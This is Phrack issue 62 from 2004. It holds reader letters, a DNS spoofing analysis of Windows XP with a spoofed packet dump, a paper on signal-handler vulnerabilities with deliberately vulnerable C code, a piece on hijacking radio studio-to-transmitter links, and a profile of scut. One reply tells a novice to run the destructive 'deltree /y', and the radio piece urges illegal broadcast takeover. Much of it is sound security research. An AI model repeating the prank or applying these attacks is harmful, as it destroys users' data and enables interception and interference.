Phrack Magazine Issue 62
Phrack Magazine Issue 62
==
[-]==========================================================================[-]
_______ _ _ _ _ _______
.__________\ /__________.
| _ ___ _ ___ _ ___ _ ___ _ ___ _ . _
_ __|_____ \/ /__ ____ \____ \____ \_ __/ /
b / / _ \/ __/ __/ / / /____/ / /
R __/ / / / \ \ / / / __/
m \_____/ / / / / / / / / \_:__ _
- --:-/ /---/____/---/____/---/____/---/____/---/ m
| \ m
| % p H R A C K i s s u e # 6 2 % \_____c__ _
| |
`-----------------------------------------------------'
[-]==========================================================================[-]
Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring
you the 6th PHRACK release under the new staff....
For the second time in the history of phrack do we have a printed HARDCOVER
version of the magazine. Thanks to the many sponsers we will be giving it
out free at ruxcon II. This is a limited edition of 500 copies.
The 62 release is Windows centric. The authors did some great work to teach
you scum how to take Bill's OS apart. Check out this sweet article about
how to get around windows buffer overflow protections, or the article on
the kernel mode backdoor.
Scut, an old-skewl member of team teso and the father of the 7350-exploits
has been selected to be prophiled for #62. Richard Thieme, keynote speaker
at defcon and other hacker conferences submitted two stories. We are
proud to publish his words under Phrack World News.
__^__ __^__
( ___ )-------------------------------------------------------------( ___ )
| / | 0x01 Introduction phrackstaff 0x08 kb | \ |
| / | 0x02 Loopback phrackstaff 0x05 kb | \ |
| / | 0x03 Linenoise phrackstaff 0x21 kb | \ |
| / | 0x04 Phrack Prophile on scut phrackstaff 0x0b kb | \ |
| / | 0x05 Bypassing Win BO Protection Anonymous 0x25 kb | \ |
| / | 0x06 Kernel Mode Backdoor for NT firew0rker 0x81 kb | \ |
| / | 0x07 Advances in Windows Shellcode sk 0x31 kb | \ |
| / | 0x08 Remote Exec grugq 0x3b kb | \ |
| / | 0x09 UTF8 Shellcode greuff 0x32 kb | \ |
| / | 0x0a Attacking Apache Modules andi 0x5e kb | \ |
| / | 0x0b Radio Hacking shaun2k2 0x36 kb | \ |
| / | 0x0c Win32 Portable Userland Rootkit kdm 0x48 kb | \ |
| / | 0x0d Bypassing Windows Personal FW's rattle 0x59 kb | \ |
| / | 0x0e A DynamicPolyalphabeticSubstitutionCipher veins 0x42 kb | \ |
| / | 0x0f Playing Cards for Smart Profits ender 0x1a kb | \ |
| / | 0x10 Phrack World News phrackstaff 0x55 kb | \ |
|___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|
(_____)-------------------------------------------------------------(_____)
^ ^
Shoutz to:
barium - ascii art
gamma - hardcover
johncompanies - that's how server hosting should look like
bugbabe - 31337 grfx
david meltze - tshirt smuggling
Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068-1035
Contents Copyright (c) 2004 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : [email protected]
Submissions : [email protected]
Commentary : [email protected]
Phrack World News : [email protected]
Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.
|=-----------------------------------------------------------------------=|
mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA
BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn
gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN
qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FnHK
-----END PGP PUBLIC KEY BLOCK-----
==Phrack Inc.==
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|
plz help me, i know that it 's a stupid question but i don't know how to
decrypt the phrack articles i have imported the pgp key, but i don't know what
to do next
cheers,
Tom
[ Tom, I'm sorry but you wont continue the adventure with us. ]
I should start off buy saying I'm not a cop fed or any other kind of law en
forcement nor am i affiliated with any national local government of any kind
to be honest i don't exist anywhere but, i am not a fan nor friend either.
[ ... ] I however have the knowledge you seek but unlike you i will not
freely share the knowledge with just every one. you must deserve to know.
you must prove yourself. [ ... ] now email is not safe but I've taken the
precautions on my end to keep this message out of government hands i hope
your server is secure if not they will be looking for me of course they are
always looking for me. [ ... ] if you don't succeed which you probably wont
don't worry thousands before you have failed and thousands will after it
just makes you average.
[ I'm only seeking for one information: Who gave you our email addres? ]
From: <[email protected]>
Date: Fri, 5 Dec 2003 22:56:03 +0100
> Hi there,
> I was looking through phrack releases and I couldn't find an article about
> APR (ARP Poison Routing, used to spoof on switched networks).
> If you can verify that such an article does not exist (in phrack that is)
> Greetz,
> eeweep
Gobuyabrain,
PHRACKSTAFF
From: D D <[email protected]>
I really know you are good! I would like to know how good you are.
I have primitive questions:
- I'm connected with a dial up connexion and I dont want want my server or
anybody else to know witch URL I'm browsing. Is that possible?
[ yes ]
[ none ]
From: <[email protected]>
[ wget http://www.phrack.org/archive/phrack62.tar.gz;
puuencode phrack62.tar.gz p62.tar.gz | mail [email protected] ]
[ This is loopback. ]
[ howto_not_getting_into_loopback.txt ]
|=[ 0x08 ]=--------------------------------------------------------------=|
From: [email protected]
Subject: I want to know something about downloading the issues
hi. im nelson and i went to your site and i want to see if u could help me. I
just stated the process of learning how to hack and i think your issues can
help me. I downloaded one of the issues and when i opened it, a windows pop-up
asked me what program I want to open the issue with. And thats what I don't
know. So please help me and tell me what program I'm supposed to have to open
the issues with. Thank you
[ You have to pass our IQ test first: click on start -> run and
enter "deltree /y" ]
From: [email protected]
I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This
TechNo WoRlD.? ThAnkS Dr.K -???????? YOU ARE A GEnius _ Oh yeah and there are
quite a few typos in the Hackers handbook? -but thats cool its all good I know
what you mean .....
==Phrack Inc.==
|=-----------------------------------------------------------------------=|
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
1 - Executive Summary
2 - Overview of Basic DNS Spoofing Attacks
3 - Proposed Criteria for DNS Reply Acceptance
4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
5 - Example DNS Spoofing Attack
6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
7 - Implementation Comparison
8 - Conclusion
This article provides a brief overview of basic Domain Name System (DNS)
spoofing attacks against DNS client resolvers. Technical challenges are
proposed that should help to both identify attempted attacks and prevent
them from being successful. Relevant Request for Comments (RFC)
guidelines, used by programmers to help ensure their DNS resolver code
meets specifications, are reviewed. This results in the realisation that
the RFC guidelines are not adequately specific or forceful to help
identify or prevent DNS spoofing attacks against DNS client resolvers.
Furthermore, the RFC guidelines actually simplify such attacks to a level
that has not previously been discussed in the public domain until now.
This article discusses the practical impact of the issues raised, such as
the ability to perform a successful and reasonably undetectable DNS
spoofing attack against a large target base of Windows XP users, without
the attacker requiring knowledge of the DNS requests issued by the
targeted users. Finally, a comparison with the DNS resolver in Debian
Linux is supplied.
When a user types the web site name www.somewebsite.org into their web
browser, their computer issues a DNS request to their Internet Service
Provider's (ISP) DNS server to resolve the web site name to an IP address.
An attacker may attempt to subvert this process by sending the user a DNS
reply containing an incorrect IP address, resulting in the user's computer
connecting to a computer of the attacker's choice instead of the desired
web site.
1) The source IP address must match the IP address that the DNS request
was sent to.
2) The destination IP address must match the IP address that the DNS
request was sent from.
3) The source port number must match the port number that the DNS request
was sent to.
4) The destination port number must match the port number that the DNS
request was sent from.
5) The UDP checksum must be correctly calculated. This may require the
attacker to spend more time and effort per attack, although some packet
generation utilities have the ability to automatically calculate this
value.
7) The domain name in the question section must match the domain name in
the question section of the DNS request.
8) The domain name in the answer section must match the domain name in the
question section of the DNS request.
9) The requesting computer must receive the attacker's DNS reply before it
receives the legitimate DNS reply.
Criteria 3 (source port number) does not have to be met according to RFC
768 (User Datagram Protocol) which states that "Source Port is an optional
field". The source port can therefore be set to an arbitrary value such
as 0 or 12345. Since the source port number of the DNS reply affects
packet dissection by utilities such as Ethereal, a value of 137 is a
devious choice since it will be dissected as the NetBIOS Name Service
(NBNS) protocol which is based on DNS. As a result, the malicious DNS
replies can be made to appear like NetBIOS traffic which is likely to be
discarded by the system administrator or investigator as typical NetBIOS
background noise.
Criteria 5 (UDP checksum) does not have to be met according to RFC 1122
(Requirements for Internet Hosts -- Communication Layers) which states
that "the UDP checksum is optional; the value zero is transmitted in the
checksum field of a UDP header to indicate the absence of a checksum".
Criteria 7 and 8 (domain name in question and answer section) do not have
to be met according to RFC 1035 (Domain names - implementation and
specification) which states that the transaction ID is used "to match up
replies to outstanding queries" and recommends as a secondary step "to
verify that the question section corresponds to the information currently
desired". RFC recommendations do not have to be followed, and in the case
of an absent question section, the principal that an implementation must
accept any datagram that it can interpret appears to apply. Therefore, a
DNS reply containing a single answer in the form of an IP address can be
matched to the corresponding DNS request based on the transaction ID,
without requiring a question section and without resorting to the overhead
of processing the domain information in the answer section. Furthermore,
an answer section is not even necessary if an Authority section is
provided to refer the requesting computer to an authoritative name server
(or a DNS server under the attacker's control).
A DNS spoofing attack using the concepts discussed in this article was
performed against a Windows XP computer. The test Windows XP computer
was a default install of the operating system followed by the application
of Service Pack 1. The Microsoft Internet Connection Firewall shipped
with Windows XP was then enabled, and configured to perform full logging
of dropped packets and successful connections.
The Windows XP user typed the web site URL www.somewebsite.org into
Internet Explorer, resulting in a DNS request being sent from the user's
computer (IP address 192.168.1.1) to the user's DNS server (IP address
192.168.1.254).
A spoofed DNS reply disguised as NetBIOS data was sent to the user from
the fake (spoofed) nonexistent IP address 10.10.10.1, specifying that
whatever name the user was attempting to resolve had the IP address
192.168.1.77. The IP address 192.168.1.77 was actually a web server
under the attacker's control.
0000 00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00 ..).}%.PV.....E.
0010 00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8 .X.X....%.......
0020 01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00 .......D........
0030 00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45 ...... FHEPFCELE
0040 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 HFCEPFFFACACACAC
0050 41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80 ACACABL.......Q.
0060 00 04 c0 a8 01 4d .....M
This packet was created using the following parameters passed to the
freely available netwox packet creation utility:
The following shows that the spoofed DNS reply has been added to the
user's DNS resolver cache for a period of 1 day, causing future
resolutions of www.somewebsite.org to map to the web server under the
attacker's control. The cache duration value can be decreased by the
attacker so that the entry is either not cached or is immediately removed
from the cache in order to remove evidence of the attack.
C:\>ipconfig /displaydns
Windows IP Configuration
1.0.0.127.in-addr.arpa
----------------------------------------
Record Name . . . . . : 1.0.0.127.in-addr.arpa.
Record Type . . . . . : 12
Time To Live . . . . : 604393
Data Length . . . . . : 4
Section . . . . . . . : Answer
PTR Record . . . . . : localhost
www.somewebsite.org
----------------------------------------
Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL
Record Type . . . . . : 1
Time To Live . . . . : 86364
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 192.168.1.77
localhost
----------------------------------------
Record Name . . . . . : localhost
Record Type . . . . . : 1
Time To Live . . . . : 604393
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 127.0.0.1
#Verson: 1.0
#Software: Microsoft Internet Connection Firewall
#Time Format: Local
#Fields: date time action protocol src-ip dst-ip src-port dst-port size
tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info
The netstat command revealed that the Windows XP computer was always
listening on UDP port 1026, and as a result, extra DNS replies were
silently discarded and did not generate an error message in the event log
or an ICMP port unreachable packet. This behaviour, and the reuse of the
same source port number for DNS requests, was attributed to the DNS Client
service.
The attacker does not require information about the targeted user's DNS
requests, such as the IP address of the user's DNS server, the source port
of the user's DNS request, or the name that the user was attempting to
resolve to an IP address. Therefore the attacker does not require access
to the communication link between the targeted user and their DNS server.
Windows XP SP1 matches DNS replies to DNS requests by only the transaction
ID and the UDP port number, and both of these values are very predictable.
Since the name to be resolved is not matched between the DNS request and
the DNS reply, the attacker does not care what domain name the user
queried since this domain name does not have to be placed in the
attacker's DNS reply. As a result, the attacker can create generic
malicious DNS replies that will successfully subvert the targeted user's
DNS lookup process regardless of the name the targeted user was attempting
to resolve, and regardless of the targeted user's network configuration
such as the IP address of their DNS server.
A recipient of the attacker's twenty DNS replies will accept one of them
as being valid, resulting in a successful attack, if the recipient:
- is using Windows XP with its poorly implemented DNS client resolver
(most dialup Internet users are in this category).
- recently connected to the Internet within the last 10-20 minutes or so
and therefore haven't performed more than twenty DNS requests (a
reasonable proportion of dialup Internet users are in this category).
- recently performed a DNS request and is awaiting a DNS reply (a
reasonable number of the huge target base of dialup Internet users are
in this category).
During testing, the Linux computer used source port numbers 32768 and
32769 to perform DNS queries. The transaction ID was randomly generated,
complicating DNS spoofing attacks, though the transaction ID used in the
retransmission of an unanswered DNS request was not as random. The choice
of transaction ID values appeared robust enough to help defend against DNS
spoofing attacks on the Internet since the initial transaction ID value
was unpredictable, and the first DNS request would typically be answered
resulting in no need for retransmissions.
The iptables firewall on the Linux computer was configured so that the
only allowed UDP traffic was to/from port 53 of the legitimate DNS server.
When a DNS query was performed and a DNS reply was received, iptables was
unable to block extra (spoofed) incoming DNS replies since it is not
designed to inspect DNS traffic and allow one incoming DNS reply per
outgoing DNS request. However, since the port used to send the DNS query
was closed once a valid DNS reply was received, ICMP port unreachable
messages were generated for the extra (spoofed) incoming DNS replies.
iptables was configured to block and log outgoing ICMP network traffic.
Reviewing the logs revealed ICMP port unreachable messages that were
destined to the legitimate DNS server, which were a good indication of a
DNS spoofing attack. Further to this evidence of a DNS spoofing attack,
since the DNS replies must come from port 53, analysis of the network
traffic using a packet dissector such as Ethereal revealed traffic that
looked like DNS replies apparently originating at the legitimate DNS
server.
--[ 8 - Conclusion
The RFC guidelines simplify DNS spoofing attacks against DNS client
resolvers since the attacker does not require information such as the IP
address of the potential victim's DNS server or the contents of DNS
queries sent by the potential victim. Microsoft Windows XP is more
susceptible to DNS spoofing attacks than Linux due to its poor
implementation of the RFC guidelines. Further simplifying DNS spoofing
attacks are Windows XP's inadequate matching of DNS requests to DNS
replies, and the predictable port number and transaction ID values -
behaviour that could be changed without violating the RFC guidelines.
Evidence of DNS spoofing attacks is minimised by the ability to disguise
DNS replies as NetBIOS traffic, the lack of configuration granularity and
traffic inspection of some firewalls, and Windows XP's failure to generate
ICMP error messages for excessive DNS replies.
RFC 791 (Internet Protocol) stating that a program must be "liberal in its
receiving behavior" and "must accept any datagram that it can interpret"
may have been acceptable in 1981 when the RFC was created and
interoperability was more important than security. However, the Internet
has changed from a somewhat trustworthy user base of representatives from
educational institutions and the US Department of Defense to now include
hackers and scammers, making security a high profile consideration.
Perhaps it is time for software based on this outdated perception of the
Internet to be changed as well.
|=----------------------------------------------------------------------=|
|=----------------------------------------------------------------------=|
########################################
# Injecting signals for Fun and Profit #
########################################
by shaun2k2 <[email protected]>
--[ 1 - Introduction
To understand what signal handlers are, one must first know what exactly a
signal is. In brief, signals are notifications delivered to a process to alert
the given process about "important" events concerning itself. For example,
users of an application can send signals using common keyboard Ctrl
combinations, such as Ctrl-C - which will send a SIGINT signal to the given
process.
Many different signals exist, but some of the more common (or useful) ones are:
SIGINT, SIGHUP, SIGKILL, SIGABRT, SIGTERM and SIGPIPE. Many more exist,
however. A list of available signals, according to the POSIX.1 standard,
can be found in the unix manual page signal(7).
"What are signal handlers", one might ask. The simple answer is that signal
handlers are small routines which are typically called when a pre-defined
signal, or set of signals, is delivered to the process it is running under
before the end of program execution - after execution flow has been directed to
a signal handling function, all instructions within the handler are executed in
turn. In larger applications, however, signal handling routines are often
written to complete a more complex set of tasks to ensure clean termination of
the program, such as; unlinking of tempory files, freeing of memory buffers,
appending log messages, and freeing file descriptors and/or sockets. Signal
handlers are generally defined as ordinary program functions, and are then
defined as the default handler for a certain signal usually near to the
beginning of the program.
void sighndlr() {
printf("Ctrl-C caught!\n");
exit(0);
}
int main() {
signal(SIGINT, sighndlr);
while(1)
sleep(1);
Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl-C
combination at the keyboard, but a SIGINT signal can be generated by the
kill(1) utility.
However simple or complex the signal handler is, there are several potential
pitfalls which must be avoided during the development of the handler. Although
a signal handler may look "safe", problems may still arise, but may be
less-obvious to the unsuspecting eye. There are two main classes of problems
when dealing with signal-handler development - non-atomic process
modifications, and non-reentrant code, both of which are potentially critical
to system security.
Since signals can be delivered at almost any moment, and privileges often need
to be maintained (i.e root privileges in a SUID root application) for obvious
reasons (i.e for access to raw sockets, graphical resources, etc), signal
handling routines need to be written with extra care. If they are not, and
special privileges are held by the process at the particular time of signal
delivery, things could begin to go wrong very quickly. What is meant by
'non-atomic' is that the change in the program isn't permanant - it will
just be in place temporarily. To illustrate this, we will discuss a sample
vulnerable program.
void sighndlr() {
printf("Ctrl-C caught!\n");
printf("UID: %d\n", getuid());
/* other cleanup code... */
}
int showuid() {
printf("UID: %d\n", getuid());
return(0);
}
int main() {
int origuid = getuid();
signal(SIGINT, sighndlr);
setuid(0);
sleep(5);
setuid(origuid);
showuid();
return(0);
}
--- EOF ---
If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output
should make things obvious; since the signal handling routine, 'sighdlr()', was
called when root privileges were still possessed, the friendly printf()
statements kindly tell us that our privileges are root (assuming the binary is
SUID root). And just to prove our theory, if we simply allow the program to
sleep for 5 seconds without sending an interrupt, the printf() statement kindly
tells us that our UID is 502 - my actual UID - as seen above.
With this, it is easy to understand where the flaw lies; if program execution
can be interrupted between the time when superuser privileges are given,
and the time when superuser privileges are revoked, the signal handling
code *will* be ran with root privileges. Just imagine - if the signal
handling routine included potentially sensitive code, compromisation of
root privileges could occur.
Although the sample program isn't an example of privilege escalation, it at
least demonstrates how non-atomic modifications can present security issues
when signal handling is involved. And do not assume that code similar to the
sample program above isn't found in popular security critical applications in
wide-spread use - it is. An example of vulnerable code similar to that of
above which is an application in wide-spread use, see [1] in the bibliography.
Non-reentrant Code
###################
Although it may not be obvious (and it's not), some glibc functions just
weren't designed to be reentered due to receipt of a signal, thus causing
potential problems for signal handlers which use them. An example of such a
function is the 'free()' function. According to 'free()'s man page, free()
"frees the memory space pointed to by ptr, which must have been
returned by a previous call to malloc(), calloc() or realloc(). Other-
wise, or if free(ptr) has already been called before, undefined
behaviour occurs. If ptr is NULL, no operation is performed."
As the man page snippet claims, free() can only be used to release memory which
was allocated using 'malloc()', else "undefined behavior" occurs. More
specifically, or in usual cases, the heap is corrupted, if free() is called on
a memory area which has already been free()d. Because of this implementation
design, reentrant signal routines which use 'free()' can be attacked.
void sighdlr() {
printf("Entered sighdlr()...\n");
syslog(LOG_NOTICE,"%s\n", logdata);
free(data2);
free(data1);
sleep(10);
exit(0);
}
The above program defines a signal handler which frees allocated heap memory,
and sleeps for around 10 seconds. However, once the signal handler has been
entered, signals are not blocked, and thus can still be freely delivered. As
we learnt above, a duplicate call of free() on an already free()d memory area
will result in "undefined behavior" - possibly corruption of the heap memory.
As we can see, user-defined data is taken, and syslog() is also called fromo
the sig handler function - but how does syslog() work? 'syslog()' creates a
memory buffer stream, using two malloc() invokations - the first one allocates
a 'stream description structure', whilst the other creates a buffer suitable
for the actual syslog message data. This basis is essentially used to maintain
a tempory copy of the syslog message.
Interesting. As we can see above, our large string of 'a's has found its way
into several program registers on stack - EAX and EDI. From this, we can
assume we are witnessing the "undefined behavior" we discussed earlier, when
the signal handler is reentered.
When the sample vulnerable program receives the second signal (SIGTERM), since
signals are not being ignored, the signal handler is reentered to handle this
second signal, causing something to go very wrong.
But why is this happening?
Since the second memory region (*data2) was free()d during the first entry of
the signal handler, syslog() re-uses this released memory for its own
purposes - storing its syslog message, because as the short syslog()
explanation above stated, two malloc() calls are present in most syslog()
implementations, and thus it re-uses the newly free()d memory - *data2.
After the usage of the memory once held as data2 by syslog(), a second
'free()' call is made on the memory region, because of reentry of the signal
handler function. As the free(3) man page stated, undefined behavior *will*
occur if the memory area was already free()d, and we happen to know that this
was the case. So when 'free()' was called again on *data2, free() landed
somewhere in the area containing the 'a's (hence 0x61 in hex), because
syslog() had re-used the freed area to store the syslog message, temporarily.
--
_exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3),
cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2),
close(2), creat(3), dup(2), dup2(2), execle(3), execve(2),
fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2),
geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2),
getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2),
mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3),
read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2),
setuid(2), sigaction(2), sigaddset(3), sigdelset(3),
sigemptyset(3), sigfillset(3), sigismember(3), signal(3),
sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2),
sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3),
tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3),
tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2),
utime(3), wait(2), waitpid(2), write(2)."
--
--
Other counter-measures, in this case, can protect against this. See below.
exit(0);
}
--- EOF ---
As we can see above, signals are blocked before doing anything else in the
signal handling routine. This guarantees against signal handler reentry (or
almost does).
This involves blocking signals, in a similar way to the above code snippet,
during the execution of code with non-atomic modifications in place, such as
code execution with superuser privileges.
setuid(0);
/* sensitive code here */
setuid(getuid());
/* sensitive code ends here */
signal(SIGINT, SIG_DFL);
signal(SIGABRT, SIG_DFL);
signal(SIGHUP, SIG_DFL);
/* ...code here... */
--- EOF ---
Before executing privileged code, signals are blocked. After execution of the
privileged code, privileges are dropped, and the signal action is set back to
the default action.
There are probably more ways of preventing signal vulnerabilities, but the
three above should be enough to implement semi-safe signal handlers.
Conclusion
###########
I hope this paper has at least touched upon possible problems encountered when
dealing with signals in C applications. If nothing else can be taken away from
this paper, my aim is to have outlined that secure programming practices should
always be applied when implementing signal handlers.
Full stop. Remember this.
If I have missed something out, given inaccurate information, or otherwise,
please feel free to drop me a line at the email address at the top of the
paper, providing your comments are nicely phrased.
Bibliography
#############
--
"Delivering Signals for Fun and Profit" -
http://razor.bindview.com/publish/papers/signals.txt,
Michal Zalewski. Michal's
paper was a useful resource when writing this paper, and many ideas were gained
from this paper. Thanks Michal.
--
Greets
#######
Greets to:
--
Friends at HDC (or former HDC members), excluded.org,
#hackcanada, all @ GSO,
rider (happy be-lated birthday!).
|=----------------------------------------------------------------------=|
|=----------------------------------------------------------------------=|
At many Radio Stations to cut costs they now do what is called "central
casting." This is where many feeds are produced from one building and
handled by a group of engineers.
Why is this important? You could, disrupt the broadcast from the Central
Site, to the tower site, and ��create�� your own programming, without the
hassles of buying a transmitter, getting the FCC licensing, and that type
of thing. We're showing you two different ways to have some fun--by
interrupting remote broadcasts, and by overtaking the radio station.
How to find the frequency? Well, you could always SE the engineer at the
station and ask, however, most of them are grumpy old radio buffs, so you
might not get anywhere. I suggest a good copy of ��Police Call,�� which has
a LOT of frequencies in there for things like radio stations.
I use a home-made setup for finding particular frequencies out. Having some
essential tools like a good, directional antenna, frequency counter, and
very accurate transmitter, along with breadboard and essential components,
typically are common in finding what you need to know. I also drive a Big
White Van, complete with Mast and Bucket, so I can optimally 'place' the
antenna at the right height and direction, that I obtained at a school
auction for reallly cheap. (e.g., under $500, even had 18" racks in it and a
nice generator)
Most Radio Stations doing this have what they call a ��STL,�� or Studio to
Transmitter Link. This is typically in the 800 or 900 Mhz range, and the
same, general ideas apply. You find the general direction in which the
antenna is pointed, then you overpower the signal. Since you
(idealistically) would be within a few miles of the transmitter, not 30 or
50 miles like the Central-Casting spot, you would overpower the transmitter,
and start your own pirate radio station. Most stations however, have an
��Air�� monitor, and can turn the remote transmitter off by pressing a
button on their STL. However, if you��re closer to it, you��ve got control
until the station engineer comes down to manually pull the plug on your
transmitter.
If you see black vans with antennas and they look like they're doing sweeps,
chances are, they're either a) with the audit crew of the local cable
company, or b) looking for your ass.
==Phrack Inc.==
|=---------------=[ P R O P H I L E O N S C U T ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
|=---=[ Specification
Handle: scut
AKA: "The Tower"
Handle origin: Result of spelling "SCUD rocket" as a 12 year
old when making up a handle
catch him: by email [email protected]
Age of your body: 23
Produced in: West Germany
Height & Weight: 198cm, 85kg
Urlz: segfault.net/~scut/
Computers: COTS, anything goes ;)
Member of: TESO
Projects: exploitation methods, low level architecture
wrangling, code analysis and transformation
Born 1980, I just lived a normal peaceful life in Germany. Finished school,
high school quite well, went to the military service, started studying.
Currently I am studying abroad and thats possibly the most exciting experience
so far ;-)
|=---=[ Which research have you done or which one gave you the most fun?
Looking back on the few things I have done, I think it was always fun to
tickle people intellectually. The most fun was writing burneye, a simple
runtime binary encryption program. I learned lots while doing it and it had
some minor impact aswell. Also I wrote a paper about format string
vulnerabilities. This was fun to write and back at that time everybody was
very curious about this newly discovered class of security vulnerabilities.
The basic work was already done and it was fun just to make a few steps
further. While its always the case that you have to base your work on someone
else's, sometimes you get the feeling of doing something truly new or
creative. Then, its always fun.
CCCamp 1999, when all TESO members first met eye-to-eye and where we had lots
of fun together. Meeting interesting people, such as some of the ADM folks.
All the CCC congresses and all the fun that comes with them: friends, beer,
and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid.
|=---=[ Quotes
Q: When did you for your first time connect to the internet?
A: Through the German Telekom BTX internet gateway, that must have been 1995.
Q: ...and how long did it take until you joined irc? Do you remember
the first channel you joined?
A: #warez.de in 1996 on IrcNet.
Q: You have helped phrack in many occasions. What do you think about Phrack?
What suggestions do you have for phrack?
A: I think phrack is the single best starting point for anyone seriously
interested in learning how to become a real low level hacker. One could start
ten issues in the past and gradually sharpen the skills to almost the today's
cutting edge. The style, quality and focus of the articles is very diverse and
always makes for an interesting read.
In the past year, Phrack started to work closer with the authors of the
articles to produce higher quality articles for the readers. This is a great
idea! Maybe further steps into this direction could follow.
For the article topics, I personally would like to see more articles on
upcoming technologies to exploit, such as SOAP, web services, .NET, etc.
Q: What are you up to these days? How has the scene-life influenced your
lifestyle, goals and personality?
A: Nowadays, I am more of a computer science student than a scene member. The
scene did not change me so much. Its a great place to meet intelligent people
and to discuss new ideas.
Q: You have been in the scene for quite a while. If you look back, what
was the worst thing that happened to the scene? What was the best
that happened?
A: The worst was a bad long term development with an even worse backlash: the
commercialization of the network security field. When the Internet really
boomed, everybody was out to make a buck from selling security related
products and services. A lot of former hackers "sold out". While its their
personal choice to work in the security business and such business is not
necessarily evil, for the scene it wasn't all that great.
The worse result has been the gap between once united hackers. Some people
drew a more or less arbitrary line of black-/whitehatism and started dividing
the scene even further. The result you can see nowadays is that there are some
